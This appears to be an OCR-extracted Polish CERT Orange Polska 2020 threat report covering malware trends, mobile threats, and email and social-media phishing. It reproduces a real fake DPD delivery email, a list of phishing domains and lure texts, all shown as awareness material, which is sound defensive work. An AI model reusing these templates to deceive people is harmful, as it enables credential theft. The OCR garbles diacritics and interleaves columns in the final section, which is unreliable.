Jeszcze terminologia czy juz semantyka?

Malware czyli ztosliwe oprogramowanie to fragment wykonywalnego kodu. Zostat on stworzony zeby w ten czy inny
sposéb zaszkodzi¢ stacji uzytkownika lub jego danym badz wykorzystac je (zaréwno dane jak i urzadzenie) w nieauto-
ryzowany sposob. Ta moja, niezupetnie stownikowa definicja w sposob do$¢ ogdlny okresla ramy tego z czym analitycy

i eksperci bezpieczenstwa mierzg sie na co dzien. Ale przeciez na tym pojecia sie nie korczg. Znamy wirusy, robaki,
backdoory, trojany, loadery, stealery, bankery, RAT-y, czy ransomware'y, a z kazdym uptywajgcym rokiem stowniczek pojec
wydaje sie powiekszaé, a nie kurczy¢. Ale czy ma to jeszcze sens?

Wiekszo$¢é obecnych w nomenklaturze branzowej poje¢ miato i ma na celu skategoryzowanie zagrozen i pomoc w
poprawnej ocenie ich skutkdw, choéby po to by przewidzie¢ ryzyka i zaplanowac czynnosci prewencyjne. | faktycznie

z chwilg, kiedy przyjeta i stosowana po dzi$ dzien terminologia zostata stworzona, ztosliwe oprogramowanie posiadato
zwykle jedng lub dwie funkcje pozwalajgce w prosty dos¢ sposdb na odréznienie bankowego Zeusa od robaka (worma)
takiego jak Conficker. Czasy te juz minety, a niemal kazda grupa przestepcza dziatajgca w cyberprzestrzeni dysponuje
ztosdliwym oprogramowaniem umozliwiajgcym realizacje wiecej niz jednej funkgii, jesli nawet nie w formie jednego modu-
larnego kodu to w postaci dopetniajgcych kill-chain malware‘6w a’la BazaarLoader grupy EvilCorp dociggajacy do
zainfekowanej stacji penetracyjny toolikt CobaltStrike-a i ransomare Ryuk swojego autorstwa. Nawet omawiany kilka

akapitéw wyzej Zloader, cho¢ sama jego nazwa wywodzi sie od bankowego Zeusa, zdecydowanie mniej wspdlnego ma
ze swoim oryginatem nizli z Emotetem. Zarzadzanie zdalne komputerem ofiary a’la RAT? Prosze bardzo. Kradziez haset
dostepowych, zapisanych w przegladarce danych kart kredytowych, a moze portfele kryptowalut? Oczywiscie. Wykor-
zystywanie technik ,man in the browser” badz réznych jej hybryd w celu kradziezy srodkéw podczas transakcji bankowe;j?
Zaden problem! Nad tak podstawowa funkcjg jaka jest mozliwoéé instalacji dodatkowego kodu lub wykonania kolejnego
modutu po otrzymaniu odpowiedniej instrukcji z centrum zarzadzania nawet nie warto sie dtuzej rozwodzic.

Czy cata powyzsza polemika oznacza ze kategorie ztosliwego oprogramowania sg obecnie kompletnie niepotrzebne lub
zbedne? Oczywiscie ze nie. W sieci nadal nie brakuje charakterystycznych zagrozen, ktérych gtéwna aktywnos$¢ koncen-
truje sie na wywotaniu oczekiwanego przez cyberprzestepcédw efektu (ransomware czy koparki kryptowalut). Poza tym
kategoryzacja, porzadkowanie i szeregowanie to nieodtaczne czynnosci w zyciu kazdego analityka, ktérych pozbawié¢
ich bytoby zbrodnig. Nalezy jednak pamieta¢ ze we wszystkim nalezy mie¢ umiar, a skoro coraz trudniej zaszeregowaé
dynamicznie aktualizowane rodziny malware‘u do konkretnego typu zagrozen bez kreowania nowych definicji czy poje¢

by¢ moze czas najwyzszy je uproscic?

Piotr Kowalczyk

Zloadera, GuLoadera, RedLine Stealera i przede wszystkim
nowy Botnet loT — Mozi. Pojawienie sie Mozi’ego, ktory
wiasciwie klonowat wiekszos¢ funkciji i mechanizméw ze
swoich aktywnych poprzednikdw, tylko podkresla jak bardzo
dynamicznie zmieniajgcym sie rynkiem i jak niezwykle po-
datnym jest sektor IoT, a to wiasnie z tej puli hostéw zombie
generowana jest przewazajgca wiekszo$¢ atakéw DDoS.

Pomimo znacznego spadku na wartosci Bitcoina i wielu
innych konkurencyjnych kryptowalut, cyberprzestepcy

nie zrezygnowali z utylizacji koparek krytpowalut w swoich
atakach, a nawet wprowadzali na rynek nowe (KingMiner,
LemonDuck), albo wskrzeszali te wydawatoby sie juz
nierentowne (Monero Miner). A biorgc pod uwage fakt,

ze druga potowa 2020 roku przyniosta stopniowg poprawe
wartosci kurséw, przyszly rok moze sie okazac¢ na polu
cryptojackingu jeszcze aktywniejszy.

Pandemia koronawirusa nie zmienita, acz zmultiplikowata

ksztattujgce sie juz od jakiegos czasu trendy
w cyberbezpieczenstwie, dajgc atakujgcym dodatkowe
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motywy do wykorzystania w znanych juz technikach atakéw.
Przestepcy usprawnili i niekiedy mocno sprofesjonalizowali
swoje warianty oszustw i wyludzen, uwazniej namierzajac
docelowe grupy ataku i wykorzystujac coraz wigcej narzedzi

i Srodkéw przekazu. Miat na to tez wptyw dalszy rozwéj ustug
Malware as a Service, a nawet przeobrazenie niektérych

z nich w zjawisko Crimeware-as-a-Service, co jeszcze utatwia
osobom nietechnicznym, acz z odpowiednim budzetem
przeprowadzenie ataku przy uzyciu w petni profesjonalnych
narzedzi lub wykorzystanie zdobytych za ich pomoca danych.

Nastepny rok pokaze jak uwypuklone w wyniku pandemii
stabosci w sektorze zabezpieczen zostang zaadresowane
zaréwno przez Czarne, jak i Biate Kapelusze.

Piotr Kowalczyk
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TOP5 InfoStealeréw wykrywanych
w 2019 roku

20%

17%
15%
11%
6%

Ztosliwe oprogramowanie
w sieci mobilnej

Formbook
Lokibot
Raccoon
Vidar
AzorUlt

Koronawirusowi udafo sie to, czemu nie sprostat zaden
istniejacy w cyfrowej przestrzeni wirus, robak ani trojan -
powstrzymat rosnaca z roku na rok liczbe zagrozen w sieci
mobilnej. Moze to by¢ oznaka coraz wiekszego wysycania
rynku, ale nie ulega watpliwosci, ze przez epidemie wiecej
czasu spedzamy w domu, a skonfigurowane domysinie
smartfony i inne urzadzenia mobilne, gdy majg mozliwos$¢
priorytetyzujg sie¢ Wi-Fi nad te mobilna. Nie uczynito to jed-
nak smartfonéw i tabletow mniej atrakcyjnym celem atakéw,
a coraz wieksza réznorodnos¢ z jakg wykorzystujemy nasze
podreczne urzadzenia w zyciu codziennym, uksztattowata
zlosliwe oprogramowanie biorgce je na cel.

Wystapienia infekcji mobilnych wedtug
systemu operacyjnego ofiary

TOP5 RAT-6w wykrywanych w 2020 roku

Malware Callback

1 530 204

Malware Object

87 735

Web Infection

119 493

AgentTesla

I Android [0 ios
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Podobnie jak w przypadku sieci stacjonarnej, rowniez

w sieci mobilnej zauwazamy kontynuacje trendow

z lat ubiegtych. Przewazajgca wiekszos¢ atakow to
zagrozenia typu adware i malvertisment. Jeszcze wieksza
tatwos¢ sktonienia uzytkownika do zainstalowania
fatszywej aplikaciji, czy nawet omytkowego klikniecia

w niesprawdzone zrédto w postaci obrazka czy filmu
sprawia, ze urzagdzenia mobilne stajg sie glownym celem
oszustw click fraudowych. To wtasnie malware z tej grupy
(HiddenAd, Guerilla) stanowit trzecig cze$¢ wszystkich
zidentyfikowanych zagrozen.

Ciagle widoczna jest tez walka oficjalnych sklepéw Google,

czy w mniejszym stopniu AppStore z twdrcami ztosliwego
oprogramowania omijajgcymi ich zabezpieczenia w celu
dodania ztosliwej aplikacji do sklepu. Réwnolegle da sie
tez dostrzec, ze do dystrybucji malware’u przestepcy
coraz licznej positkuja sie technikami sprawdzonymi

na platformie Windows. Odnotowywali$my przyktady
klasycznego mailowego spear-phishingu, SMS-owg
odmiane (smishingu), a takze kolejne hybrydy wytudzen
rozsytane przez media spotecznos$ciowe (Facebook,
ilnstagram) czy przy uzyciu popularnych komunikatoréw
(Whatsapp, Messenger).

Najczesciej wystepujace ztosliwe
oprogramowanie w sieci mobilnej 2020 roku
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W sieci Orange, najczestszym podszyciem pod polskie firmy
byta kampania na doptate z uzyciem InPost. W ten sposéb
na stacje ofiar trafity trojany bankowe Cerberus, BankBot,

a takze Alien, nowe bazujgce na kodzie Cerberusa modutowe
ztodliwe oprogramowanie zdolne do kradziezy danych
logowania (wedle konfiguracji jest w stanie ,,obstuzy¢”

ponad 200 aplikacji), instalowa¢ dodatkowe aplikacje
umozliwiajgce zdalne przejecie kontroli nad urzadzeniem,

a przede wszystkim przechwytywaé klucze autoryzacyjne
wykorzystywane w dwusktadnikowym uwierzytelnianiu.

Wsrdd ztosliwych aplikacji wykorzystujgcych pandemie jako
motyw przewodni oszustwa warto wyr6zni¢ jeszcze Jokera.
Ztosliwe oprogramowanie, ktére w przeciwiefistwie do mniej
inwazyjnych HiddenAds i Guerilli, subskrybuje uzytkownika do
ustug Premium, a takze wykorzystuje dostep do wiadomosci
w celu rozsytania scamu (budujgc kolejny tancuch dystrybucji
z wykorzystaniem popularnych komunikatoréw mobilnych).

Systemy mobilne staty sie rownorzednym do Windows’éw
Srodowiskiem operacyjnym dla cyberprzestepcow.
Potwierdza to zakres przygotowywanego pod urzadzenia

z mniejszym wys$wietlaczem phishingu i wytudzajgcych
dane scaméw. Lista ztosliwego oprogramowania celujgcego
w urzgdzenia mobilne konsekwentnie sie powieksza,

a smishing zaczyna mie¢ zastosowanie w coraz wiekszej
liczbie oszustw i wytudzen.

Piotr Kowalczyk
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Komentarz Partnera:

Grzegorz Michatek

Wspoétzatozyciel i Prezes Zarzadu Arcabit Sp. z 0.0.
i mks_vir Sp. z o.0.

Absolwent Wydziatu Elektroniki i Technik
Informacyjnych Politechniki Warszawskiej. Od ponad
25 lat zwigzany z branza antywirusowa zaréwno

w ramach firm zagranicznych jak i krajowych.

Autor wielu publikacji dotyczacych programowania.
Prowadzi seminaria, szkolenia i warsztaty propagujace
nowe technologie i nowatorskie podejscie

do probleméw bezpieczenstwa w Sieci.

Rok 2020 zaskoczyt wszystkich. Od lat niezmienne
zasady i reguty rzgdzace rynkiem, wspotpracg podmiotow
gospodarczymi i administracyjnych, a przede wszystkim
relacjami miedzyludzkimi zostaty wywrécone do géry
nogami przez pandemiczne ograniczenia i restrykcje.
Wiele branz zostato wystawionych na prébe wytrzymatosci
i stabilnosci pozycji rynkowej, a koniecznosé
btyskawicznego wdrozenia kanatéw i zasoboéw do pracy
zdalnej i drastyczne ograniczenie bezposrednich kontaktéw
miedzy pracownikami oraz kontrahentami byta jednym

z gtéwnych testow weryfikujgcych bezpieczeristwo
firmowych zasobdw i kompetencje oséb z nich
korzystajacych. Nieunikniony chaos, ktéry towarzyszyt

(i czesto nadal towarzyszy) pracy wedtug nowych zasad

to wprost idealny punkt wyjscia dla cyberprzestepcow,
ktoérzy w pierwszym kwartale 2020 roku bezzwtocznie
przystapili do realizacji kampanii wykorzystujacych nowe
realia. Nie jest rowniez niespodziankg, ze podobnie jak

w latach poprzednich atakujgcy postawili na szyfrowanie
danych i wymuszanie okupow.

Bezspornie gldwnym nosnikiem szkodliwego oprogramowania
w 2020 roku byly specjalnie przygotowane wiadomosci
e-mail. Z analizowanych przez nas danych wynika,

ze zagrozenia zablokowane przez nasze aplikacje

w poczcie elektronicznej stanowity ponad 75% wszystkich
powstrzymanych prob dostarczenia i uruchomienia

w systemie szkodliwego oprogramowania. Od poczatku
pandemii liczba szkodliwych wiadomosci systematycznie
rosta (z charakterystycznym juz, corocznym ,dotkiem”
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wakacyjnym, wykres 1). Co ciekawe — w naszej ocenie
nie sama rosnaca liczba wiadomosci stanowita gtéwny
element ryzyka, lecz merytoryczne, graficzne i jezykowe
przygotowanie wiadomosci w taki sposéb, aby do
ztudzenia przypominaty korespondencje od znanych

i zaufanych na polskim rynku podmiotéw — firm kurierskich,
telekomunikacyjnych, energetycznych, hostingowych,
finansowych. W stosunku do lat poprzednich,
cyberprzestepcy zdecydowali sie na przesuniecie akcentu
z iloéci na jako$¢ swoich kampanii. Jest to oczywisty cios
skierowany w czesto uspiong przez realia pracy zdalnej
czujnos$¢ i zdrowy rozsadek potencjalnych ofiar.

Zablokowanie wiadomosci email ze szkodliwymi
zatacznikami
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Na osobng wzmianke zastugujg kampanie
nieukierunkowane na uruchomienie szkodliwego
oprogramowania, lecz skupiajace sie na zastraszeniu
uzytkownikéw grozbg ujawnienia rzekomo posiadanych
przez hakeréw kompromitujacych informacji (wykres 2)
i probie wytudzenia okupu ,,za milczenie” (zazwyczaj

w Bitcoinach). W tym obszarze odnotowalismy dwa
wiodace kierunki zastraszania — pierwszy dotyczyt
rzekomych informacji i materiatdéw kompromitujgcych
bezposrednio uzytkownika (np. nagrania z kamer
internetowych czy lista odwiedzanych stron z tresciami
dla dorostych), drugi dotykat obszaréw powigzanych

z domniemanym wyciekiem danych osobowych i byt
skierowany gtéwnie do firm. Kampanie te siaty niematy
poptoch wsrdd rozproszonych w srodowisku pracy zdalnej
internautéw, zwtaszcza, ze pewna cze$¢ z nich miata
»na sumieniu” aktywnosci wpisujgce sie w tres¢
otrzymanych wiadomosci.

Zablokowanie proby wytudzenia okupu
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Analizujgc pozostate obszary funkcjonowania szkod

liwego oprogramowania odnotowali§my malejgca od
poczatku pandemii aktywno$é typowych koni trojarskich,
backdoor’éw, koparek kryptowalut, aplikacji tworzacych
botnet’y czy wreszcie wiruséw (wykres 3). W tym
kontekscie szczegolnie ciekawa jest odwrotna tendencja w
obszarze zagrozen, ktére wymykajag sie klasycznym meto-
dom detekc;ji i sg blokowane przez zaawansowane mecha-
nizmy modutéw klasy EDR (wykres 4).

Zablokowanie wiadomos$ci email ze szkodliwymi
zatacznikami

Konie trojanskie, botnety, backdoory, koparki, wirusy
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Na podstawie dotychczasowych analiz i biezgcych danych
szacujemy, ze aktywnos$c¢ cyberprzestepcéw w roku 2021,
podobnie jak w roku ubieglym bedzie skoncentrowana

gtéwnie wokot masowych atakdéw wykorzystujgcych
stabosci uzytkownikéw. W tym kontekscie, patrzac takze
na doswiadczenia z roku ubiegtego, szczegdlnie istotna
jest edukacja uzytkownikéw w zakresie rozpoznawania

i unikania szkodliwych i fatszywych tresci wspierana
dodatkowo przez oprogramowanie ochronne.

Zablokowanie proby wytudzenia okupu

Nietypowe szkodliwe oprogramowanie
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Na podstawie danych
Arcabit Sp. z 0.0./mks_vir Sp. z o.0.
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Jak tapano nas na haczyk wystany poczta

elektroniczna?

Phishing pozostaje, podobnie jak w latach poprzednich, najpopularniejsza
forma ataku na indywidualne ofiary. W 2020 roku wiele aspektow naszego
zycia przeniosto sie do sieci, dlatego powyzsze stwierdzenie pozostaje

tym bardziej aktualne.

Cyberprzestepcy uzywajg wielu sposobdw na dotarcie

do potencjalnego celu ataku tj.: wiadomosci SMS,
wiadomosci wysytane w komunikatorach typu Messenger,
czy e-maile. To wiasnie uzycie poczty elektronicznej

jako wektora phishingu pozostaje istotnym narzedziem

w rekach oszustow.

Co obserwowaliSmy w 20207?

Zauwazylismy kilka wyraznych trendéw zwigzanych

z dziatalnoscig phishingowa prowadzong za posrednictwem
poczty elektronicznej. W wyniku pandemii wiekszo$¢

z nas zostata zmuszona do przeniesienia czesci swoich
aktywnosci do $wiata wirtualnego. Na przestrzeni ostatnich
12 miesiecy istotnie zwiekszyta sie na przyktad ilo$é transakciji
i zamowien dokonywanych on-line. W $wietle tych obserwaciji
nie zaskakuje zatem, ze najpopularniejszym typem phishingu
- podobnie jak w latach poprzednich byt ten zwigzany

z dostawami paczek. Podejmowane byly proby wytudzen
wrazliwych danych typu loginy i hasta do kont bankowych
podszywajac sie pod rézne firmy kurierskie. W tej kategorii
dominowaty znane dobrze od roku 2019 ,dopfaty do paczki”,
pojawialy sie takze nieco nowsze ,uzupetnienia danych”

oraz ,zmiany w regulaminie”.

Kolejnym widocznym wzorcem byty fatszywe faktury
wysytane do klientéw firm z dodanym poleceniem
optacenia réznego rodzaju optat. Nie dziwi fakt pojawienia
sie tego typu kampanii phishingowych akurat w e-mailach.
Coraz wiecej przedsiebiorstw, w celu ograniczenia zuzycia
papieru, wystawia swoim klientom faktury w formie
elektronicznej zamiast tradycyjnej. Takie dokumenty
przesyta sie najczesciej wtasnie przy uzyciu poczty
elektronicznej, dlatego przestepcy wykorzystuja wiasnie
te droge do dotarcia do swoich ofiar. Osoba spodziewajgca
sie faktury i innych tego typu pism w swojej skrzynce
pocztowej, moze nie odrézni¢ fatszywej wiadomosci

od prawdziwej i staé sie kolejnym poszkodowanym.

Ostatnig kategorig phishingu widocznego w minionym
roku w mailach byly informacje zachecajgce do udziatu
w réznego rodzaju promocjach i konkursach z bardzo
atrakcyjnymi nagrodami.

Co wyroznia phishing mailowy?
Poruszajgc temat wiadomosci phishingowych wysytanych

za posrednictwem e-maili warto rozwazy¢ kwestie réznic
pomiedzy tym, a innymi wektorami stosowanymi przez
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oszustéw. W poréwnaniu do SMS-6w przestepcy majg
do dyspozycji o wiele wiecej srodkéw, aby uczynié¢
wysytang do nas wiadomos$¢ bardziej wiarygodna. To m.in.:

m  Formatowanie e-maila w jezyku HTML, co zapewnia
znacznie wieksze mozliwosci edycji uktadu wiadomosci
w poréwnaniu do SMS-a;

Mozliwos$¢ przykrywania zawartych w mailu URL-i pod

postacig hipertaczy, przez co fatwiej ukry¢ podejrzanie

wygladajace linki w tekscie wiadomosci;

B Mozliwos¢ wstawiania do listu obrazkéw, co pozwala
umiesci¢ w wiadomosci, np. logotypy firmy, pod ktérg
podszywa oszust, a to z kolei uwiarygadnia taki e-mail
w oczach odbiorcy;

Mozliwos$é ukrycia adresu e-mail nadawcy pod dowolnie
nadang nazwa, przez co wiadomos¢ otrzymana

z potencjalnie podejrzanego adresu moze by¢
widoczna z perspektywy odbiorcy jako nadana

przez zaufana firme;

H  Korzystanie z faktu, ze w e-mailu mozna zawrze¢
zdecydowanie wiecej tresci o charakterze perswazyjnym,
ktére majg naktoni¢ odbiorce na klikniecie
w niebezpieczny link zawarty w wiadomosci
oraz przekonanie go, ze ma do czynienia
z autentycznym mailem.

Case study - jak nie dac
sie zlowic?

W celu zademonstrowania przyktadowej techniki stosowanej
przez cyberprzestepcdw wykorzystamy oryginalna,
pozyskana w trakcie dziatari CERT Orange Polska wiadomos¢
phishingowa. Ponizej przedstawiamy elementy, na ktére warto
zwroci¢ uwage w trakcie weryfikacji - czy otrzymany e-mail
jest autentyczny, czy jest probg wytudzenia danych.

_ Dostawa Twojej przesytki numer —

@ DPD Group Polska <info@dpd.com.pl.a>
oo

Drogi Kliencie,

To przyktad jak wazna jest doktadna weryfikacja adresu e-mail
nadawcy. Wyswietlana nazwa wskazuje, ze wiadomos$¢
przyszta od firmy DPD, a adres nadawcy tudzaco przypomina
e-mail, ktérym mogtaby sie postugiwac. Na pierwszy rzut oka
wyglada on normalnie, jednak warto zauwazy¢, ze domena
najwyzszego poziomu jest tutaj ,.a”, a nie ,,.pl” jak miatoby

to miejsce, gdyby ta wiadomos$é przyszta z adresu
nalezacego do DPD.

Taka weryfikacja czesto moze nie by¢ wystarczajgca

do upewnienia sie, ze otrzymany przez nas e-mail jest
rzeczywiscie wystany od nadawcy widocznego w polu.

W takiej weryfikacji pomagajg trzy rozwigzania, SPF, DKIM
oraz DMARC. Jesli organizacja, pod ktérg podszywa sie
oszust nie ma skonfigurowanego systemu SPF (Sender
Policy Framework), to mozliwe jest wpisanie do wystanego
maila adresu normalnie stosowanego przez te organizacje.
SPF weryfikuje, czy serwer, ktory nadat e-maila ma
uprawnienia do wysytania poczty z tej konkretnej domeny
zrédtowej. Drugim rozwigzaniem podnoszacym wiarygodno$¢
nadawcy wiadomosci jest DKIM. Umozliwia on weryfikacje
nadawcy wiadomosci przy pomocy klucza szyfrujgcego RSA.
Na podstawie tych dwoch systeméw mechanizm DMARC
wprowadza dodatkowa funkcjonalno$é do serwerow
pocztowych. W skrdcie pozwala on na konfiguracje
zachowania serwera pocztowego w sytuacji kiedy otrzyma
on wiadomos$¢ negatywnie zweryfikowana przez SPF lub
DKIM. Przyktadowe mozliwe zachowania to: automatyczne
usuniecie wiadomosci czy wyswietlenie ostrzezenia. DMARC
moze rowniez zostac¢ ustawiony tak, aby powiadamia¢
wiasciciela domeny, ze kto$ nieuprawniony wysyta
wiadomosci z jego domeny. Obecnie wiekszos¢ duzych
operatoréw darmowych skrzynek pocztowych, jak Google,
Yahoo, czy Microsoft, obstuguje

system DMARC.

2o, mm——

Ze wzgledu na brak petnych danych adresowych nie moglismy dostarczy¢ Twojej przesytki
numer CESSENINSENNND

‘Wymagamy dodatkowych informacji, aby podja¢ prébe ponownego dorgczenia tej paczki, takich jak podany adres
wydaje sig niekompletny.

Podaj pefne informacje dotyczace tego adresu, aby sprébowac ponownie dostarczyc.
Twoja przesytka jest obecnie przechowywana w naszym lokalnym magazynie.

Jesli jednak dziatanie nie zostanie podjete w ciagu 48 godzin, zostanie ono zwrécone pierwotnemu nadawcy.
https// christmas.wéhlah3byke3xd2.noitir/
Wybierz jedng z nastepujacych opcji:
Kliknij lub nacisnij, aby sledzi¢ link.
>>>>> Zaktualizuj adres ponownej dostawy <<<<<
Optaty bedg naliczane za kazda zorganizowana ponowng dostawe, ktérej szczegdty znajdujq sie w powyiszych linkach.
Jesli wolisz osobiscie odebrac paczkg, mozesz to zrobi¢ w naszym oddziale w Ludwice
Narbutta 4, 02-564 Warszawa, Polska.

DPD @2021

W tym fragmencie maila wida¢ jak ukrywane sg linki
phishingowe pod postacia hipertgczy. Czytajac w pospiechu
tego typu wiadomos$é nieuwazny odbiorca moze klikngé

w link znajdujacy sie pod komunikatem ,,Zaktualizuj

adres ponownej dostawy”, ktéry skieruje go na strone
majaca na celu wytudzenie jego danych, zamiast na strone
firmy DPD. Dlatego nalezy zawsze sprawdzac¢, gdzie
faktycznie kieruje nas link zanim go klikniemy.

Inne cechy, na ktére warto zwroci¢ uwage to fakt, ze jest on
napisany w taki sposoéb, aby maksymalnie upodobni¢ sie do
listu, ktérego moglibysmy oczekiwac od firmy DPD. Zawiera
on numer paczki, ktory jest raczej rzadko zapamietywany

przez zamawiajgcego, a wiec trudno jest od razu zauwazy¢,
Ze nie zgadza sie z paczka, na ktorg czeka. Jesli wiadomosé
taka trafia do osoby, ktéra akurat nic nie zamawiata,

to prawdopodobnie zostanie zignorowana, natomiast jesli
trafi do takiej, ktora oczekuje paczki, to moze zosta¢ mylnie
uznana za autentyczna. Wystarczy rozestaé taka wiadomos$é
do duzej liczby odbiorcow i prawdopodobienstwo trafienia
na tego, ktéry oczekuje na zamoéwienie dochodzi do 100%.

Podsumowanie

Mimo, ze e-mail jako forma komunikacji ma juz swoje

lata, to caty czas nie traci na znaczeniu. Jest szeroko
stosowany, niestety takze przez cyberprzestepcow.
Korzystajg oni z dostepnych narzedzi, aby w chwili nieuwagi
sktoni¢ swojg ofiare do ujawnienia wrazliwych danych.
Warto zatem zachowac czujnosc¢ i stosowaé podstawowe
$rodki ostroznosci w celu zweryfikowania, czy otrzymany
e-mail jest tym czym wydaje sie na pierwszy rzut oka.

Te $rodki to miedzy innymi: sprawdzenie, dokad faktycznie
prowadzi hipertacze przed kliknieciem, weryfikacja nadawcy
e-maila, wystrzeganie sie podejrzanie dobrych ofert

i promocji. Warto pamietac, ze jesli co$ jest zbyt dobre by
mogto by¢ prawdziwe, to zapewne w rzeczywistosci takie
nie jest. W czasie, gdy zyjemy w coraz wiekszym pos$piechu
znalezienie chwili na doktadne sprawdzanie kazdej
wiadomosci moze stanowi¢ wyzwanie. Jednak zaledwie
moment po$wiecony na ostrozno$¢ moze zaoszczedzié
wielu ktopotdw w przysztosci.

Hubert Borkowski
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Komentarz Partnera:

Jakub Katuzny
Senior IT Security Consultant w SecuRing.

Autor serii filméw Instant Threat Modeling,

trener i konsultant bezpieczenstwa w firmie
SecuRing. Posiada doswiadczenie w analizie

i testowaniu systemoéw wysokiego ryzyka

w polskich i australijskich firmach z branzy
finansowej, lotniczej, prawniczej oraz w kasynach.

Czy zajmujacy cyberbezpieczenstwem zawsze
muszg by¢ krok ZA atakujgcymi? Niekoniecznie...
Moga ich dziatania przewidzie¢, a nastepnie
zaprojektowaé mechanizmy bezpieczenstwa,
ktére pozwolg unikngé problemdw.

Atakujacy zdaja sobie sprawe, ze firmy

ktadg wiekszy nacisk na bezpieczenstwo,

a kluczowe aplikacje najwiekszych z nich sg coraz
to lepiej zabezpieczone. W zwigzku z tym szukaja
nowego najstabszego ogniwa, ktérym na podstawie
ostatnich wydarzen wydaja sie by¢ narzedzia
CI/CD - repozytoria kodu, serwery automatyzujace
proces budowania i wdrazania paczek, systemy
zarzgdzania serwerami i bazami danych - a takze
dostep pracownikéw firm trzecich, czyli dostawcow
oprogramowania. Jezeli celem atakujacego jest kod
zrédtowy aplikaciji, to znajduje sie on nie tylko na
serwerze, na ktérym jest uruchomiona aplikacja,
ale rowniez w wielu innych lokalizacjach, czesto
dostepnych z internetu lub ze stacji roboczych
pracownikéw. Niestety, sg firmy, ktére inwestuja
bardzo duzo czasu i zasobéw w zabezpieczenie
serwera aplikacyjnego, a zapominajg o kodzie
zrédtowym znajdujgcym sie w publicznie
dostepnym repozytorium i chronionym jedynie
przez domysine poswiadczenia.

Jednym z waznych zadan zespotu bezpieczenstwa
lub szerzej, dziatu ryzyka, jest zidentyfikowanie
tych kluczowych zasobow, ktére powinny byé
chronione. Nastepnie okreslenie, jakie osoby
moga prébowac je atakowac i w jaki sposéb
technicznie moze sie to staé. Dopiero wtedy
mozna odpowiednio dobra¢ mechanizmy
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bezpieczenstwa oraz metryke weryfikacji
jakosci oprogramowania, jak réwniez wymagania
bezpieczenstwa dla zewnetrznych dostawcow.

Te kilka pytan i zadan do wykonania, to przedmiot
éwiczenia nazywanego modelowaniem zagrozen

- sesji na pograniczu biznesu i technologii, ktéra
pozwala na zrozumienie zagrozen i unikniecie pewnych
grup podatnosci na wczesnych etapach rozwoju
oprogramowania. W przeciwienstwie do tatania
zidentyfikowanych podatnosci w dziatajgcym
oprogramowaniu, zmiana pewnych zatozen

i mechanizmdw na etapie projektowania nie implikuje
wielkich kosztéw. Pracujgc zaréwno z duzymi
korporacjami, jak i mniejszymi firmami dostarczajgcymi
oprogramowanie, mozna zauwazy¢ widoczny trend
»Shift left”, czyli proaktywne zajmowanie sie
bezpieczenstwem. Bardzo dobrym przyktadem

na to sg nowe stanowiska i role w zespotach, ktérych
odpowiedzialnoscia jest modelowanie zagrozen

i definiowanie wymagan bezpieczenstwa oraz
umieszczanie tych wymagan w kontraktach

z dostawcami. W koncu - oprogramowanie jest tak
dobre, jak dobre sg jego wymagania funkcjonalne

i tak niebezpieczne, jak liczne sg nieuwzglednione
zagrozenia.

Warto zachowac czujnosc¢ i stosowac
podstawowe Srodki ostroznosci w celu
zweryfikowania, czy otrzymany e-mail jest tym
czym wydaje sie na pierwszy rzut oka.




Raport CERT Orange Polska 2020

. - Index of / Czasem, zeby przeja¢ dane logowania wystarczy niewinne
I I ust rowa ny p rzeg Iad p h l S h | n g owy 2020 ogtoszenie. Na zdjeciu ekranu (screen) przejete konto wstawia
Name Last modified Size Description og’roszenlg z domene% phlsh!ngowa, natgm!as’l[ nlleSW|adomy
Ataki phishingowe stanowia aros zaarozer z iakimi . . . . uzytkownik przesyta je dalej... Jedno klikniecie i mamy panel
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Celowo pominieto wszelkie przypadki malware’u, 38 il den ~ fakty24ais-bestnety  2020-05-07 08:14 [WIDEO]
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z oczywistych wzgledéw tez nie wszystkie kampanie fakty2Sa.isbestnet/  2020-05-07 08:14 SR
. . . fakty26a.is-best.net/ 2020-05-07 08:14
sie tu znalazty, jednak zakres tego opracowania fakty27a.is- ' 20200507 08:14 3
pokazuje skale i réznorodnos¢ zagrozen jakie moga fakty28aisbestnet/  2020-05-07 08:14
spotka¢ kazdego z nas. Opisywane kampanie utozone fakty29a.is-bestnet/  2020-05-07 08:14 -
sg wedtug czestosci powstawania nowych domen. fakty30a.s-bestnet/  2020-05-07 08:14 H—
Niektére z nich trwaty nieprzerwanie przez caty rok. fakty3lais-bestnet/  2020-05-07 08:14
fakty32a.is-bestnet/  2020-05-07 08:14 . . ) 3
fakty33a.is-bestnet/  2020-05-07 08:14 Przejete konta mogg tez rozsiewac fake newsy o nagtych,

Fake newsy prowadzqce fakty3daisbestnet/  2020-05-07 08:15 niestychanych zdarzeniach, porwaniach itd. Gdy chcemy

4 .. . . ) fakty35a.is-hestnet/  2020-05-07 08:15 uruchomié¢ szokujgce nagranie... trafiamy na panel
do falszywych botow Powyzej fragment przyktadowej strony phishingowej fakty37ais-bestnet!  2020-05-07 08:15 logowania do Facebooka.
ObracanCYCh uzywanej w tego rodzaju atakach. Ponizej strona fakty39a.is-bestnet/  2020-05-07 08:15

. docelowa: faktya.is-best.net/ 2020-05-07 08:15 Nagl . . , h .

kryptowa|utam| faktvas.is-hest.net/ 2020-05-07 08:15 agle, moze tez odezwac sie do nas troche zapomniany

infasd2a.is-best.net/

2020-05-07 08:15
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znajomy i poprosi¢ o pomoc:

informcjel.is-best.net/ 2020-05-07 08:15

Nosnikiem ataku sg wszelkiego rodzaju reklamy - e | 20200507 08:18
.Illlm'l]]!'lﬁz I]"b!‘f! net/ -0 5- :

internetowe lub przejete konta serwiséw

informcje3.is-best.net/

2020-05-07 08:15

Hej hej B . przydatoby mi si¢ kilka gloséw, moge liczy¢ na twoja pomoc? Tu jest link -

spotecznosciowych, ktdre rozsytajg zaproszenia informje3.is-bestnet!  2020-05-07 08:15 poplerajmy-glosy.eu Z gory dziekil @
do znajomych. Ponizej przyktad reklamy na YouTube. informjed.is-bestnet/  2020-05-07 08:15

ZMIEN SWOJE ZYCIE

Obietnica szybkiego zarobku, ktéry przytrafit sie znanej JUZ DZISIAY informjes.is-bestnet/  2020-05-07 08:15
postaci, politykowi lub pracownicy sklepu... informje7.is-bestnet/  2020-05-07 08:15

2020-05-07 08:15

Po Kliknieciu w link znajdziemy sie np. na takiej stronie:

informjed.is-great.net/ 2020-05-07 08:15

5 YuuTube jakotako.is-best.net/ 2020-05-07 08:15
Jul T > 2020-05-07 08:15 ABY ODDAC GtOS WYSLIJ SMS!
lubicplacki.is-best..>  2020-05-07 08:15 - - B
lubiego.is-best.net/ 2020-05-07 08:15 _ Wyslij S_Il_\;l\?(o tresci
